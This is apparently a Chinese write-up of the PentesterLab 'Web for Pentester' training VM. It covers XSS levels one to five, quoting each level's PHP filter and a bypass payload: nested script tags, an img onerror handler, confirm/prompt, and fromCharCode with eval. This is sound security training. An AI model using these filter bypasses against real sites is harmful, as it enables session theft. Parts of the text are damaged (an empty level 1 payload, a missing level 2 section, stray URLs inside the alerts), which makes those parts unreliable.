官网:https://pentesterlab.com/
下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso
安装方法:虚拟机按照,该靶场是封装在debian系统里,安装完成打开,ifconfig查看ip地址:
然后直接访问ip即可
web for pentester默认没有root密码,可以来设置密码,方便ssh连接等查看源码 sudo passwd 第一关 查看源码: <?php echo $_GET["name"]; ?> 分析:
没有任何的过滤,直接将get获取的打印
payload:/xss/example1.php?name=
这里通过preg_replace()函数来正则,但是这种匹配是有缺陷的,没有匹配大小写,可以通过大小写绕过
在第二关的基础上加了/i,使之匹配不区分大小写,preg_replace()函数将匹配到的,替换成空格,但是只匹配了一次,类似sql注入(Seselectlect),可以嵌套<script>,匹配到了,替换成空格变成我们想要的了
payload: /xss/example3.php?name=<sc<script>ript>alert('http://www.likecs.com/xss')</sc</script>ript> 第四关 查看源码: <?php require_once '../header.php'; if (preg_match('/script/i', $_GET["name"])) { die("error"); } ?> Hello <?php echo $_GET["name"]; ?> 分析:对script进行了不区分大小写,匹配如果匹配到,就执行die("error"),终止程序,所以scirpt不能用,只能通过其他标签来触发js事件,可使用onerror事件,来执行js
payload: /xss/example4.php?name=<img src="http://www.likecs.com/xss" onerror=alert('http://www.likecs.com/xss')> 第五关 查看源码: <?php require_once '../header.php'; if (preg_match('/alert/i', $_GET["name"])) { die("error"); } ?> Hello <?php echo $_GET["name"]; ?> 分析:
对alert进行了过滤
一.可以使用类似alert的方法来弹窗比如confirm,prompt二.通过编码绕过,String.fromCharCode()编码来绕过,可以使用hackbar来快速编码
、 payload: /xss/example5.php?name=<script>confirm('http://www.likecs.com/xss')</script> /xss/example5.php?name=<script>prompt('http://www.likecs.com/xss')</script> /xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>